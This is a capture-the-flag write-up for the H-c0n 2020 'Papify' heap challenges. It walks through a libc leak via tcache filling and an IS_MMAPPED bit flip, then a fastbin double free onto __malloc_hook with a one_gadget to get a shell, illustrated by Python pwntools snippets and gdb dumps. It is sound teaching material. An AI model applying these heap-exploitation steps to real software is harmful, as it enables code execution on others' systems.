H-c0n 2020 qualifier Papify (1&2)

Papify is an exploitation challenge where we are given a Docker image description. The container is basically what is running on the adress provided nc ctf.h-c0n.com 60003.

Most of the steps are common between v1 and v2, except for the method used for the libc leak.

Gathering information

This is the file structure:

./papify2:
docker-compose.yml  Dockerfile  share  tmp  xinetd

./papify2/share:
chall  flag  pwn

./papify2/tmp:

We can start by doing some rudimentary checks on chall, our binary:

root@kali:~/h-c0n/papify2# file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e551576dc15f52434e0cec761e25e5cb1e63120, for GNU/Linux 3.2.0, stripped
root@kali:~/h-c0n/papify2# checksec chall
[*] '/root/h-c0n/papify2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Everything ON. The program itself has 4 options.

root@kali:~/h-c0n/papify2# ./chall

 /$$$$$$$   /$$$$$$  /$$$$$$$  /$$$$$$ /$$$$$$$$ /$$     /$$
| $$__  $$ /$$__  $$| $$__  $$|_  $$_/| $$_____/|  $$   /$$/
| $$  \ $$| $$  \ $$| $$  \ $$  | $$  | $$       \  $$ /$$/
| $$$$$$$/| $$$$$$$$| $$$$$$$/  | $$  | $$$$$     \  $$$$/  
| $$____/ | $$__  $$| $$____/   | $$  | $$__/      \  $$/                                           
| $$      | $$  | $$| $$        | $$  | $$          | $$                                            
| $$      | $$  | $$| $$       /$$$$$$| $$          | $$                                            
|__/      |__/  |__/|__/      |______/|__/          |__/                                            

Developed by Hackplayers. Version: FIXED (h-c0n quals 2020)                                         

Select an option:                                                                                   

        1. Add a paper                                                                              
        2. Fix a typo                                                                               
        3. Delete a paper                                                                           
        4. Print a paper                                                                            
        0. Exit                                                                                     

>>

After either playing with the executable for a while or decompiling we can realize that:

  • There are only 3 indices [0,1,2] that can be used to store papers.
  • Even so, you can add a paper on the same index many times (this is important to remember after decompiling).
  • You can only fix one character of one paper during the execution.
  • You can delete a paper many times without raising any error (this is important to remember after decompiling).
  • (Only Papify1) You can read the paper after deleting it. This is what makes Papify1 easier, because the leak can be obtained with almost no effort.

Now to the findings after decompiling the file with ghidra:

  • calloc is used to allocate the memory for the content of the paper and is filled with a read.
  • Looking at the fix_typo method we can see that you can actually edit one byte outside of the assigned memory because of >=
fwrite("Which typo do you want to fix?: ", 1uLL, 32uLL, stdout);
scanf("%u", &v2);
if ( paper_size[v1] >= v2 ) { // do edit
  • The only thing using dynamic allocation is the content of the papers.
  • Adding a paper on the same index many times actually keeps allocating new memory without freeing the old pointer if already in use.
  • You can free a pointer many times by deleting the same paper over and over because the pointer itself is never set to null.
fwrite("Paper's index: ", 1uLL, 0xFuLL, stdout);
scanf("%u", &v1);
if ( v1 <= 2 && paper_content[v1] )
{
    free(paper_content[v1]);
    paper_size[v1] = 0;
    puts("Done.");
}

Also, by setting up the container and running it we can check its libc version by getting the libc*.so file in /usr/lib/x86_64-linux-gnu/. In this case we saved it as libc-cont(ainter):

#This does not properly mount the container but is enough to get libc.
docker build . -t papifytest -f Dockerfile
docker run -d -it -p 60003:8888 --name=papify2 papifytest
docker exec -it papify2 bash
# find /usr/ -name "libc-*.so"
docker cp papify2:/usr/lib/x86_64-linux-gnu/libc-2.29.so libc-cont.so
root@kali:~/h-c0n/papify2# ./libc-cont.so --version
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.

With all this information we can begin to prepare the attack.

Tcache, calloc, double frees and a disclaimer

Some basic ideas needed to understand the exploit:

  • Tcache is a mechanism introduced in libc 2.26 to improve the performance while reclaiming freed memory chunks. It can store up to 7 chunks for each size. More info, rough translation but quite complete, turn to Chinese language to see table of contents.
  • calloc doesn't reclaim chunks from Tcache.
  • Freeing the same pointer two times can lead to some unexpected behaviour.
  • In the exploit linked at the end most offsets are hardcoded numbers because we got them directly from gdb because we had problems and had to do some debugging.

Leaking libc (Papify1)

Leaking libc address in Papify1 could be done by exploiting the fact that we can read a paper after deleting(freeing) it. When you free() a chunk the result varied depending if said chunk goes into tcache or elsewhere. If it goes into tcache you can't leak anything meaningful just by reading the freed chunk. So we just fill the tcache with 7 chunks. Since we only have 3 pointers at the same time this would be impossible with malloc, but calloc doesn't reuse chunks from tcache so we can just do it like this:

for i in range(7):
	add(2, 128, "A"*128)
	free(2)

add(0, 128, "B"*128)
add(1, 128, "C"*128)
free(0)
free(1)

show(0)
leak = p.recv(6) + '\x00\x00'
#have to pad it with some zeroes

How does it look in gdb?

0x55b25c4b5640: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAAAA"
0x55b25c4b5650: 0x0000000000000000      0x0000000000000091
0x55b25c4b5660: 0x00007f45e72daca0      0x00007f45e72daca0 <- leak
0x55b25c4b5670: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBBBB"
----------------------------------------------------------------------------------------------
0x7f45e72dac90 <main_arena+80>: 0x0000000000000000      0x0000000000000000
0x7f45e72daca0 <main_arena+96>: 0x000055b25c4b5770      0x0000000000000000 <- our leaked direction
0x7f45e72dacb0 <main_arena+112>:0x000055b25c4b5650      0x000055b25c4b5650

So, we are in main_arena+96, from there we can get libc relative address in pwn with:

libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96

Leaking libc (Papify2)

This version fixed the reading function so we could no longer access a deleted paper directly. To leak libc now we will have to make use of our off-by-one one-time edit. Since we can overwrite one character after the end of our reserved memory, that means we can actually overwrite the size field of the next chunk if we place ourselves properly. Don't forget to fill tcache so calloc can actually reuse the freed chunk:

for i in range(7):
	add(2, 128, "7"*128)
	free(2)

add(0, 24, "A"*24)
add(1, 128, "B"*128)
add(2, 24, "C"*24)
free(1)
fix_typo(0, 24, '\x93')
add(1, 128, "d"*7) #add uses p.sendlineafter() which appends a "\n"

p.sendlineafter('>> ', '4')
p.sendlineafter('Paper\'s index: ', "1")
p.recvuntil('d' * 7 + '\n')
leak = p.recv(6) + '\x00\x00'

Ok, let's see what happens in memory in gdb right after free(1) :

0x55f7e5d47650: 0x0000000000000000      0x0000000000000021
0x55f7e5d47660: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141      0x0000000000000091
0x55f7e5d47680: 0x00007f695a510ca0      0x00007f695a510ca0 <- the dir we want, but
0x55f7e5d47690: 0x4242424242424242      0x4242424242424242    if we calloc again it
0x55f7e5d476a0: 0x4242424242424242      0x4242424242424242    will be set to 0
0x55f7e5d476b0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242      0x4242424242424242
0x55f7e5d47700: 0x0000000000000090      0x0000000000000020
0x55f7e5d47710: 0x4343434343434343      0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343      0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000      0x0000000000000000

Read here about free chunks and the flags in detail. 0x0000000000000091 is the size field of our freed chunk. If we put the 91 in binary it's 10010001. The second least significant bit tells our program if the chunk is mmaped, and if it is calloc doesn't erase it's contents before using it. Quite convenient that it's located right after the end of our previous chunk (it's important to get the sizes right so they literally touch). We just need the edit to set that bit with our edit funcion, so we just send a 0x93 (10010011) at position 24.

0x55f7e5d47660: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141      0x0000000000000093 <- looks like it worked
0x55f7e5d47680: 0x00007f695a510ca0      0x00007f695a510ca0
0x55f7e5d47690: 0x4242424242424242      0x4242424242424242
0x55f7e5d476a0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476b0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBB"

And now we just reallocate, but since we can't send an empty message (at least the newline goes through) we will just send 7 padding characters and the newline.

0x55f7e5d47650: 0x0000000000000000      0x0000000000000021
0x55f7e5d47660: 0x4141414141414141      0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141      0x0000000000000091
0x55f7e5d47680: 0x0a64646464646464      0x00007f05169a4ca0 <- look at that, the calloc
0x55f7e5d47690: 0x4242424242424242      0x4242424242424242    didn't smash our chunk
0x55f7e5d476a0: 0x4242424242424242      0x4242424242424242    
0x55f7e5d476b0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242      0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242      0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242      0x4242424242424242
0x55f7e5d47700: 0x0000000000000090      0x0000000000000020
0x55f7e5d47710: 0x4343434343434343      0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343      0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000      0x0000000000000000

Now we just read the paper, discard the padding and the newline and we have our leak the same way as before.

libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96

During the CTF we actually had a problem getting the offset because we were sending add(1, 128, "d"*7+"\n") without taking into account that out add method would actually add another newline at the end, modifying the leak we received and leading to a strange-ass offset obtained with gdb (check the CTF code at the end).

Getting the shell

We will use One_Gadget on the __malloc_hook to get a shell running since we can't really execute things any other way due to all the protection enabled. Another way would me to aim for the __free_hook and point it to system.

root@kali:/media/sf_hckon/papify2/share# one_gadget libc-cont.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
  [rcx] == NULL || rcx == NULL
  [rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

With one_gadget ready, we can begin.

Again, we fill tcache before starting. Since, as of 2.29, calloc doesn't reuse tcache we can go ahead and do a fastbin double free attach described here in detail. The described attack doesn't have full RERLO like us; but, just like he says, we can still attack __malloc_hook.

We just need to find an appropriate direction above __malloc_hook where we can land our chunk. Let's see what we can find around there with gdb:

0x7f0748abcbe0 <_IO_wide_data_0+256>:   0x0000000000000000      0x0000000000000000
0x7f0748abcbf0 <_IO_wide_data_0+272>:   0x0000000000000000      0x0000000000000000
0x7f0748abcc00 <_IO_wide_data_0+288>:   0x0000000000000000      0x0000000000000000
0x7f0748abcc10 <_IO_wide_data_0+304>:   0x00007f0748abe020      0x0000000000000000
0x7f0748abcc20 <__memalign_hook>:       0x00007f0748989e20      0x00007f074898a4e0
0x7f0748abcc30 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f0748abcc40 <main_arena>:    0x0000000000000000      0x0000000000000001

Tough luck, we need something of a similar size to our existing chunks so the size check, an address with content 0x000000000000007f would be perfect. Unless we can use unaligned memory. Let's move this a bit:

0x7f0748abcbed <_IO_wide_data_0+269>:   0x0000000000000000      0x0000000000000000
0x7f0748abcbfd <_IO_wide_data_0+285>:   0x0000000000000000      0x0000000000000000
0x7f0748abcc0d <_IO_wide_data_0+301>:   0x0748abe020000000      0x000000000000007f
0x7f0748abcc1d: 0x0748989e20000000      0x074898a4e000007f
0x7f0748abcc2d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7f0748abcc3d: 0x0000000000000000      0x0000000001000000
0x7f0748abcc4d <main_arena+13>: 0x0000000000000000      0x0000000000000000

This looks better. Let's find out where is this 0x7f0748abcc30(_malloc_hook) - 0x7f0748abcc0d = 0x23, so we just need to subtract that from _malloc_hook position.

fakeChunk = libcDir + libc.sym['__malloc_hook'] - 0x23
oneGadget = libcDir + 0x106ef8

for i in range(7):
	add(2, 96, "R"*96)
	free(2)

add(0, 96, "S"*96)
add(1, 96, "T"*96)
free(0)
free(1)
free(0)
add(1, 96, p64(fakechunk) + "U"*88)
add(1, 96, "X"*96)
add(1, 96, "Y"*96)
add(0,96, 'i' * 19 + p64(oneGadget))
p.interactive()
add(2,1,'Open sesame.') # we can do this step manually for extra satisfaction.

After adding any paper the __malloc_hook will trigger and we will have shell. Just cat flag and GG.

Cleaned up version of the script for v2.

Container libc

Actual exploit from CTF with a lot of hardcoded offsets.